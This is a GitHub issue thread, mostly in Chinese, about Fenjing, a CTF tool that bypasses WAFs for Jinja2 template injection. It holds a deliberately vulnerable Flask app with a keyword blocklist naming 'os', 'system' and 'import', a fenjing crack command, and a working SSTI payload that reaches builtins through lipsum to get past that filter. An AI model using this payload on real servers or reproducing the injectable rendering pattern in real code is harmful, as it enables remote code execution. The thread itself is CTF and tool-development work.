Marven11 / Fenjing

专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF
Mozilla Public License 2.0
737 stars 46 forks source link

GET方式传参的SSTI是否适用? #1

Closed Lazzzaro closed 1 year ago

Lazzzaro commented 1 year ago

如用以下代码搭建的页面,用工具未成功检测,提示 WARNING:cli:Scan failed...

# -*- coding: utf-8 -*-

from flask import Flask
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/',methods=['GET', 'POST'])
def test():
    if(request.args.get("name")):
        name = request.args.get("name")
    else:
        name = "Guess"
    if(check(name)):
        name = "BAD BOY"

    template = '''
        <!-- ?name= -->
        <div class="center-content error">
            <h1>Hello %s!<br/>Welcome To My Blog</h1>
        </div> 
    ''' %(name)

    return render_template_string(template)

def check(name):
    dirty_words = ['\'','"','.', '_', 'import','request','url','\\x','os','system','\\u']
    for word in dirty_words:
        if word in name.lower():
            return True

if __name__ == '__main__':
    app.run(host="0.0.0.0",port=5000)
ZS167275 commented 1 year ago

python -m fenjing crack --url http://127.0.0.1:5000 --method GET --inputs name ,先去调dirty_words后,用这个命令可以执行代码,但是加上dirty_words后,可能是目前的payload集合被过滤了。

Marven11 commented 1 year ago

scan功能目前仅支持通过检测HTML中的form元素找出需要测试的接口,如果在实际操作中需要做出这类题目可以使用crack功能主动指定form提交方式,示例可以看楼上 但是不知道为什么这个简单的WAF没法被绕过,我有时间看看

Marven11 commented 1 year ago

目前fenjing支持的所有生成百分号字符%的方式都没办法绕过这个WAF... 所有拿到百分号的普通方法都要使用引号,比较不常见的方法都要使用urlencode这个关键字,导致没有办法拿到%c,也就没有办法生成任意字符串。。。 可以分享一下这一题的payload吗,我有时间添加进脚本里

Marven11 commented 1 year ago

我找到这题如何绕过waf使用百分号了,payload是{%set under=(lipsum|escape|batch(22)|list|first|last)%}{%set chr=lipsum[under~under~(dict(globals=1)|join)~under~under][under~under~(dict(builtins=1)|join)~under~under][dict(chr=1)|join]%}{{chr(37)}} 有时间把这个技巧放进焚靖里

Lazzzaro commented 1 year ago

我找到这题如何绕过waf使用百分号了,payload是{%set under=(lipsum|escape|batch(22)|list|first|last)%}{%set chr=lipsum[under~under~(dict(globals=1)|join)~under~under][under~under~(dict(builtins=1)|join)~under~under][dict(chr=1)|join]%}{{chr(37)}} 有时间把这个技巧放进焚靖里

好,希望工具越改越全能越好用~

Marven11 commented 1 year ago

整合进去了,使用pip install -U fenjing更新即可